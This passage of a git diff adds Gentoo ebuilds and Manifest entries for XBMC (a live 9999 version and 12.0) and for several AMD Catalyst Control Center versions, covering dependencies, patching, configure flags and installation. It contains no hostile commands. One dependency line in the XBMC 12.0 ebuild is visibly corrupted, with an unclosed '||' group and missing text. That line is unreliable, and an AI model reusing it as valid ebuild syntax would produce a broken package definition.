vdpau webserver +xrandr" +REQUIRED_USE="pvr? ( mysql )" + +COMMON_DEPEND="virtual/glu + virtual/opengl + app-arch/bzip2 + app-arch/unzip + app-arch/zip + app-i18n/enca + airplay? ( app-pda/libplist ) + >=dev-lang/python-2.4 + dev-libs/boost + dev-libs/fribidi + dev-libs/libcdio[-minimal] + cec? ( dev-libs/libcec ) + dev-libs/libpcre[cxx] + >=dev-libs/lzo-2.04 + dev-libs/yajl + >=dev-python/pysqlite-2 + dev-python/simplejson + media-libs/alsa-lib + media-libs/flac + media-libs/fontconfig + media-libs/freetype + >=media-libs/glew-1.5.6 + media-libs/jasper + media-libs/jbigkit + virtual/jpeg + >=media-libs/libass-0.9.7 + bluray? ( media-libs/libbluray ) + css? ( media-libs/libdvdcss ) + media-libs/libmad + media-libs/libmodplug + media-libs/libmpeg2 + media-libs/libogg + media-libs/libpng + projectm? ( media-libs/libprojectm ) + media-libs/libsamplerate + media-libs/libsdl[audio,opengl,video,X] + alsa? ( media-libs/libsdl[alsa] ) + media-libs/libvorbis + media-libs/sdl-gfx + >=media-libs/sdl-image-1.2.10[gif,jpeg,png] + media-libs/sdl-mixer + media-libs/sdl-sound + media-libs/tiff + pulseaudio? ( media-sound/pulseaudio ) + media-sound/wavpack + >=virtual/ffmpeg-0.6[encode] + rtmp? ( media-video/rtmpdump ) + avahi? ( net-dns/avahi ) + webserver? ( net-libs/libmicrohttpd ) + net-misc/curl + samba? ( >=net-fs/samba-3.4.6[smbclient] ) + bluetooth? ( net-wireless/bluez ) + sys-apps/dbus + sys-libs/zlib + mysql? ( virtual/mysql ) + x11-apps/xdpyinfo + x11-apps/mesa-progs + vaapi? ( x11-libs/libva[opengl] ) + vdpau? ( + || ( x11-libs/libvdpau >=x11-drivers/nvidia-drivers-180.51 ) + virtual/ffmpeg[vdpau] + ) + x11-libs/libXinerama + xrandr? ( x11-libs/libXrandr ) + x11-libs/libXrender" +RDEPEND="${COMMON_DEPEND} + udev? ( sys-fs/udisks:0 sys-power/upower )" +DEPEND="${COMMON_DEPEND} + dev-util/gperf + x11-proto/xineramaproto + dev-util/cmake + x86? ( dev-lang/nasm )" + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup +} + +src_unpack() { + if [[ ${PV} == "9999" ]] ; then + git-2_src_unpack + cd "${S}" + rm -f configure + else + unpack ${A} + cd "${S}" + fi + + # Fix case sensitivity + mv media/Fonts/{a,A}rial.ttf || die + mv media/{S,s}plash.png || die +} + +src_prepare() { + epatch "${FILESDIR}"/${PN}-9999-nomythtv.patch + epatch "${FILESDIR}"/${PN}-9999-no-arm-flags.patch #400617 + epatch "${FILESDIR}"/${PN}-11.0-no-exec-stack.patch + # The mythtv patch touches configure.ac, so force a regen + rm -f configure + + # some dirs ship generated autotools, some dont + local d + for d in \ + . \ + lib/{libdvd/lib*/,cpluff,libapetag,libid3tag/libid3tag} \ + xbmc/screensavers/rsxs-* \ + xbmc/visualizations/Goom/goom2k4-0 + do + [[ -e ${d}/configure ]] && continue + pushd ${d} >/dev/null + eautoreconf + popd >/dev/null + done + + local squish #290564 + use altivec && squish="-DSQUISH_USE_ALTIVEC=1 -maltivec" + use sse && squish="-DSQUISH_USE_SSE=1 -msse" + use sse2 && squish="-DSQUISH_USE_SSE=2 -msse2" + sed -i \ + -e '/^CXXFLAGS/{s:-D[^=]*=.::;s:-m[[:alnum:]]*::}' \ + -e "1iCXXFLAGS += ${squish}" \ + lib/libsquish/Makefile.in || die + + # Disable internal func checks as our USE/DEPEND + # stuff handles this just fine already #408395 + export ac_cv_lib_avcodec_ff_vdpau_vc1_decode_picture=yes + + # Fix XBMC's final version string showing as "exported" + # instead of the SVN revision number. + export HAVE_GIT=no GIT_REV=${EGIT_VERSION:-exported} + + # Avoid lsb-release dependency + sed -i \ + -e 's:lsb_release -d:cat /etc/gentoo-release:' \ + xbmc/utils/SystemInfo.cpp || die + + # avoid long delays when powerkit isn't running #348580 + sed -i \ + -e '/dbus_connection_send_with_reply_and_block/s:-1:3000:' \ + xbmc/linux/*.cpp || die + + epatch_user #293109 + + # Tweak autotool timestamps to avoid regeneration + find . -type f -print0 | xargs -0 touch -r configure +} + +src_configure() { + # Disable documentation generation + export ac_cv_path_LATEX=no + # Avoid help2man + export HELP2MAN=$(type -P help2man || echo true) + # No configure flage for this #403561 + export ac_cv_lib_bluetooth_hci_devid=$(usex bluetooth) + + econf \ + --docdir=/usr/share/doc/${PF} \ + --disable-ccache \ + --disable-optimizations \ + --disable-external-libraries \ + --enable-gl \ + $(use_enable airplay) \ + $(use_enable avahi) \ + $(use_enable bluray libbluray) \ + $(use_enable cec libcec) \ + $(use_enable css dvdcss) \ + $(use_enable debug) \ + $(use_enable goom) \ + --disable-hal \ + $(use_enable joystick) \ + $(use_enable midi mid) \ + $(use_enable mysql) \ + $(use_enable profile profiling) \ + $(use_enable projectm) \ + $(use_enable pulseaudio pulse) \ + $(use_enable pvr mythtv) \ + $(use_enable rsxs) \ + $(use_enable rtmp) \ + $(use_enable samba) \ + $(use_enable vaapi) \ + $(use_enable vdpau) \ + $(use_enable webserver) \ + $(use_enable xrandr) +} + +src_install() { + default + rm "${ED}"/usr/share/doc/*/{LICENSE.GPL,copying.txt}* + + insinto /usr/share/applications + doins tools/Linux/xbmc.desktop + newicon tools/Linux/xbmc-48x48.png xbmc.png + + insinto "$(python_get_sitedir)" #309885 + doins tools/EventClients/lib/python/xbmcclient.py || die + newbin "tools/EventClients/Clients/XBMC Send/xbmc-send.py" xbmc-send || die +} + +pkg_postinst() { + elog "Visit http://wiki.xbmc.org/?title=XBMC_Online_Manual" +} diff --git a/media-tv/xbmc/xbmc-12.0.ebuild b/media-tv/xbmc/xbmc-12.0.ebuild new file mode 100644 index 00000000..04eea0d6 --- /dev/null +++ b/media-tv/xbmc/xbmc-12.0.ebuild @@ -0,0 +1,237 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-tv/xbmc/xbmc-12.0.ebuild,v 1.1 2013/02/18 06:53:34 vapier Exp $ + +EAPI="4" + +# Does not work with py3 here +# It might work with py:2.5 but I didn't test that +PYTHON_DEPEND="2:2.6" +PYTHON_USE_WITH=sqlite + +inherit eutils python multiprocessing autotools + +case ${PV} in +9999) + EGIT_REPO_URI="git://github.com/xbmc/xbmc.git" + inherit git-2 + SRC_URI="!java? ( mirror://gentoo/${P}-20121224-generated-addons.tar.xz )" + ;; +*_alpha*|*_beta*|*_rc*) + MY_PV="Frodo_${PV#*_}" + MY_P="${PN}-${MY_PV}" + SRC_URI="https://github.com/xbmc/xbmc/archive/${MY_PV}.tar.gz -> ${P}.tar.gz + !java? ( mirror://gentoo/${P}-generated-addons.tar.xz )" + KEYWORDS="~amd64 ~x86" + ;; +*) + MY_P=${P/_/-*_} + SRC_URI="http://mirrors.xbmc.org/releases/source/${MY_P}.tar.gz" + KEYWORDS="~amd64 ~x86" + ;; +esac + +DESCRIPTION="XBMC is a free and open source media-player and entertainment hub" +HOMEPAGE="http://xbmc.org/" + +LICENSE="GPL-2" +SLOT="0" +IUSE="airplay alsa altivec avahi bluetooth bluray cec css debug goom java joystick midi mysql nfs profile +projectm pulseaudio pvr +rsxs rtmp +samba sse sse2 sftp udev upnp vaapi vdpau webserver +xrandr" +REQUIRED_USE="pvr? ( mysql )" + +COMMON_DEPEND="virtual/glu + virtual/opengl + app-arch/bzip2 + app-arch/unzip + app-arch/zip + app-i18n/enca + airplay? ( app-pda/libplist ) + >=dev-lang/python-2.4 + dev-libs/boost + dev-libs/fribidi + dev-libs/libcdio[-minimal] + cec? ( >=dev-libs/libcec-2 ) + dev-libs/libpcre[cxx] + >=dev-libs/lzo-2.04 + dev-libs/tinyxml[stl] + dev-libs/yajl + dev-python/simplejson + media-libs/alsa-lib + media-libs/flac + media-libs/fontconfig + media-libs/freetype + >=media-libs/glew-1.5.6 + media-libs/jasper + media-libs/jbigkit + >=media-libs/libass-0.9.7 + bluray? ( media-libs/libbluray ) + css? ( media-libs/libdvdcss ) + media-libs/libmad + media-libs/libmodplug + media-libs/libmpeg2 + media-libs/libogg + media-libs/libpng + projectm? ( media-libs/libprojectm ) + media-libs/libsamplerate + media-libs/libsdl[audio,opengl,video,X] + alsa? ( media-libs/libsdl[alsa] ) + >=media-libs/taglib-1.8 + media-libs/libvorbis + media-libs/sdl-gfx + >=media-libs/sdl-image-1.2.10[gif,jpeg,png] + media-libs/sdl-mixer + media-libs/sdl-sound + media-libs/tiff + pulseaudio? ( media-sound/pulseaudio ) + media-sound/wavpack + || ( media-libs/libpostproc =virtual/ffmpeg-0.6[encode] + rtmp? ( media-video/rtmpdump ) + avahi? ( net-dns/avahi ) + nfs? ( net-fs/libnfs ) + webserver? ( net-libs/libmicrohttpd[messages] ) + sftp? ( net-libs/libssh ) + net-misc/curl + samba? ( >=net-fs/samba-3.4.6[smbclient] ) + bluetooth? ( net-wireless/bluez ) + sys-apps/dbus + sys-libs/zlib + virtual/jpeg + mysql? ( virtual/mysql ) + x11-apps/xdpyinfo + x11-apps/mesa-progs + vaapi? ( x11-libs/libva[opengl] ) + vdpau? ( + || ( x11-libs/libvdpau >=x11-drivers/nvidia-drivers-180.51 ) + virtual/ffmpeg[vdpau] + ) + x11-libs/libXinerama + xrandr? ( x11-libs/libXrandr ) + x11-libs/libXrender" +RDEPEND="${COMMON_DEPEND} + udev? ( sys-fs/udisks:0 sys-power/upower )" +DEPEND="${COMMON_DEPEND} + app-arch/xz-utils + dev-lang/swig + dev-util/gperf + x11-proto/xineramaproto + dev-util/cmake + x86? ( dev-lang/nasm ) + java? ( virtual/jre )" + +S=${WORKDIR}/${MY_P} + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup +} + +src_unpack() { + [[ ${PV} == "9999" ]] && git-2_src_unpack || default +} + +src_prepare() { + epatch "${FILESDIR}"/${PN}-9999-nomythtv.patch + epatch "${FILESDIR}"/${PN}-9999-no-arm-flags.patch #400617 + # The mythtv patch touches configure.ac, so force a regen + rm -f configure + + # some dirs ship generated autotools, some dont + multijob_init + local d + for d in $(printf 'f:\n\t@echo $(BOOTSTRAP_TARGETS)\ninclude bootstrap.mk\n' | emake -f - f) ; do + [[ -e ${d} ]] && continue + pushd ${d/%configure/.} >/dev/null || die + AT_NOELIBTOOLIZE="yes" AT_TOPLEVEL_EAUTORECONF="yes" \ + multijob_child_init eautoreconf + popd >/dev/null + done + multijob_finish + elibtoolize + + # Disable internal func checks as our USE/DEPEND + # stuff handles this just fine already #408395 + export ac_cv_lib_avcodec_ff_vdpau_vc1_decode_picture=yes + + local squish #290564 + use altivec && squish="-DSQUISH_USE_ALTIVEC=1 -maltivec" + use sse && squish="-DSQUISH_USE_SSE=1 -msse" + use sse2 && squish="-DSQUISH_USE_SSE=2 -msse2" + sed -i \ + -e '/^CXXFLAGS/{s:-D[^=]*=.::;s:-m[[:alnum:]]*::}' \ + -e "1iCXXFLAGS += ${squish}" \ + lib/libsquish/Makefile.in || die + + # Fix XBMC's final version string showing as "exported" + # instead of the SVN revision number. + export HAVE_GIT=no GIT_REV=${EGIT_VERSION:-exported} + + # avoid long delays when powerkit isn't running #348580 + sed -i \ + -e '/dbus_connection_send_with_reply_and_block/s:-1:3000:' \ + xbmc/linux/*.cpp || die + + epatch_user #293109 + + # Tweak autotool timestamps to avoid regeneration + find . -type f -print0 | xargs -0 touch -r configure +} + +src_configure() { + # Disable documentation generation + export ac_cv_path_LATEX=no + # Avoid help2man + export HELP2MAN=$(type -P help2man || echo true) + # No configure flage for this #403561 + export ac_cv_lib_bluetooth_hci_devid=$(usex bluetooth) + # Requiring java is asine #434662 + export ac_cv_path_JAVA_EXE=$(which $(usex java java true)) + + econf \ + --docdir=/usr/share/doc/${PF} \ + --disable-ccache \ + --disable-optimizations \ + --enable-external-libraries \ + --enable-gl \ + $(use_enable airplay) \ + $(use_enable avahi) \ + $(use_enable bluray libbluray) \ + $(use_enable cec libcec) \ + $(use_enable css dvdcss) \ + $(use_enable debug) \ + $(use_enable goom) \ + --disable-hal \ + $(use_enable joystick) \ + $(use_enable midi mid) \ + $(use_enable mysql) \ + $(use_enable nfs) \ + $(use_enable profile profiling) \ + $(use_enable projectm) \ + $(use_enable pulseaudio pulse) \ + $(use_enable pvr mythtv) \ + $(use_enable rsxs) \ + $(use_enable rtmp) \ + $(use_enable samba) \ + $(use_enable sftp ssh) \ + $(use_enable upnp) \ + $(use_enable vaapi) \ + $(use_enable vdpau) \ + $(use_enable webserver) \ + $(use_enable xrandr) +} + +src_install() { + default + rm "${ED}"/usr/share/doc/*/{LICENSE.GPL,copying.txt}* + + domenu tools/Linux/xbmc.desktop + newicon tools/Linux/xbmc-48x48.png xbmc.png + + insinto "$(python_get_sitedir)" #309885 + doins tools/EventClients/lib/python/xbmcclient.py || die + newbin "tools/EventClients/Clients/XBMC Send/xbmc-send.py" xbmc-send || die +} + +pkg_postinst() { + elog "Visit http://wiki.xbmc.org/?title=XBMC_Online_Manual" +} diff --git a/media-video/amdcccle/Manifest b/media-video/amdcccle/Manifest new file mode 100644 index 00000000..38dcf63e --- /dev/null +++ b/media-video/amdcccle/Manifest @@ -0,0 +1,18 @@ +DIST amd-driver-installer-12-1-x86.x86_64.run 106085279 RMD160 13fd67ad49cb1bf0aa3a0ca92da52c1a4ba93dc1 SHA1 8262b2a66cf87063713852c8f3a20bc995be47e6 SHA256 8d76700e0db68f74f735808ee7fd446cb5072734ba6ec03f2dd82c05ebfdc81d +DIST amd-driver-installer-12-2-x86.x86_64.run 107213014 RMD160 b3966f0ad6c756f6d4fd77cde5761a86ef2ef3b2 SHA1 24bbaa07dbc8354a0393c4ceeed552d7ac37b09d SHA256 054796cbf2d99e4b545d062ce8eabfd973e74e2e21a159092816238b001618fd +DIST amd-driver-installer-12-3-x86.x86_64.run 108029053 RMD160 176b4544269671fc10bff8caa0663d25893d7b19 SHA1 f62146ed5653ce81dca578e0252c7f32d55627be SHA256 5f90c7e472ca0095efc16097ac7bcda846be0e980cc4d3e588cc4089efe8fb57 +DIST ati-driver-installer-11-10-x86.x86_64.run 77926379 RMD160 bef9aa8ff1bd366b5e8505789e87ac268ebc6807 SHA1 406e0a69f1e9dfd899bbcc6fa00d00adfba077cb SHA256 a245e0305051313767fef1be88693702fccfb3f11c18a98f61c233af17e85f9e +DIST ati-driver-installer-11-11-x86.x86_64.run 97090080 RMD160 07c19b48ccb6d7d95d585545ec3a3038fdfb65bd SHA1 7de856b9464e617fa3b880de6b45ef9ec56e6336 SHA256 fcd51cdc0c7572d443f5ce54576888f09efaced10b12ccf9fa775c81eaade013 +DIST ati-driver-installer-11-12-x86.x86_64.run 99618112 RMD160 70ae7407bab182c7fc9b1d4a177c2e1493ffb508 SHA1 d20a185165eff1b6d9631b7e3ed7201eeda9312a SHA256 0179d1f0425036e50b637e5153b0c64b25836d09e9d22bc50edfbdf6aed32b42 +DIST ati-driver-installer-11-6-x86.x86_64.run 75503458 RMD160 fce2a7c1b7c213f26befc2beab47eefdcfd0059f SHA1 463dba00b419f761db2bf97088e6cfbcfc63c9fa SHA256 3dbb7cf1a5493588d872eb29b7376eb5db3913c4f35d631c3183d168eed1f67f +DIST ati-driver-installer-11-8-x86.x86_64.run 75754239 RMD160 92e33779416228ef75fd8bc8790c5aebd2f3332f SHA1 807a5663b062a9cf6295ac8cf3dee7439aabda57 SHA256 71e0194daef7a50c6d0d3b5712b05375a003d452e39c754278336c3811a2acdf +DIST ati-driver-installer-11-9-x86.x86_64.run 76564617 RMD160 8631c510ace5a7d73c97064f8ca16ee9a6fe94e4 SHA1 e01caf1211fd3f9602017a340921aa1b9c38b802 SHA256 d9ad9c8e0bd250ac41c39d9b8e9f77efc82631f4bebacb82ddde982a86530d56 +EBUILD amdcccle-11.10.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988 +EBUILD amdcccle-11.11.ebuild 1563 RMD160 2accea4fb08b9b77d0e0fafb8b0cb037701343d0 SHA1 40411c71ea65bfcd1cf1cbb5e3987a229eba64d4 SHA256 f27f047f34ce9774fff7ca0c20978259b46a203ece333a3f5b44aad7e2aae904 +EBUILD amdcccle-11.12.ebuild 1563 RMD160 2accea4fb08b9b77d0e0fafb8b0cb037701343d0 SHA1 40411c71ea65bfcd1cf1cbb5e3987a229eba64d4 SHA256 f27f047f34ce9774fff7ca0c20978259b46a203ece333a3f5b44aad7e2aae904 +EBUILD amdcccle-11.6.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988 +EBUILD amdcccle-11.8.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988 +EBUILD amdcccle-11.9.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988 +EBUILD amdcccle-12.1-r1.ebuild 1563 RMD160 52352ad5c024988484673ae7031e2f5e0fbe04b5 SHA1 b6523c645b6330d0f61d03297e33161f8c8c5cec SHA256 827ae7cd785494e2a49ec963c464800ba6cd3714245bf43d140ff72ba819d4cc +EBUILD amdcccle-12.2.ebuild 1563 RMD160 52352ad5c024988484673ae7031e2f5e0fbe04b5 SHA1 b6523c645b6330d0f61d03297e33161f8c8c5cec SHA256 827ae7cd785494e2a49ec963c464800ba6cd3714245bf43d140ff72ba819d4cc +EBUILD amdcccle-12.3.ebuild 1563 RMD160 52352ad5c024988484673ae7031e2f5e0fbe04b5 SHA1 b6523c645b6330d0f61d03297e33161f8c8c5cec SHA256 827ae7cd785494e2a49ec963c464800ba6cd3714245bf43d140ff72ba819d4cc diff --git a/media-video/amdcccle/amdcccle-11.10.ebuild b/media-video/amdcccle/amdcccle-11.10.ebuild new file mode 100644 index 00000000..f0ed060b --- /dev/null +++ b/media-video/amdcccle/amdcccle-11.10.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://ati.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="x11-drivers/ati-drivers[-qt4(-)] + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle +} diff --git a/media-video/amdcccle/amdcccle-11.11.ebuild b/media-video/amdcccle/amdcccle-11.11.ebuild new file mode 100644 index 00000000..bf86fc54 --- /dev/null +++ b/media-video/amdcccle/amdcccle-11.11.ebuild @@ -0,0 +1,64 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://ati.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)] + ~x11-drivers/ati-userspace-${PV} + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle + dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui +} diff --git a/media-video/amdcccle/amdcccle-11.12.ebuild b/media-video/amdcccle/amdcccle-11.12.ebuild new file mode 100644 index 00000000..bf86fc54 --- /dev/null +++ b/media-video/amdcccle/amdcccle-11.12.ebuild @@ -0,0 +1,64 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://ati.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)] + ~x11-drivers/ati-userspace-${PV} + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle + dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui +} diff --git a/media-video/amdcccle/amdcccle-11.6.ebuild b/media-video/amdcccle/amdcccle-11.6.ebuild new file mode 100644 index 00000000..f0ed060b --- /dev/null +++ b/media-video/amdcccle/amdcccle-11.6.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://ati.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="x11-drivers/ati-drivers[-qt4(-)] + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle +} diff --git a/media-video/amdcccle/amdcccle-11.8.ebuild b/media-video/amdcccle/amdcccle-11.8.ebuild new file mode 100644 index 00000000..f0ed060b --- /dev/null +++ b/media-video/amdcccle/amdcccle-11.8.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://ati.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="x11-drivers/ati-drivers[-qt4(-)] + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle +} diff --git a/media-video/amdcccle/amdcccle-11.9.ebuild b/media-video/amdcccle/amdcccle-11.9.ebuild new file mode 100644 index 00000000..f0ed060b --- /dev/null +++ b/media-video/amdcccle/amdcccle-11.9.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://ati.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="x11-drivers/ati-drivers[-qt4(-)] + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst 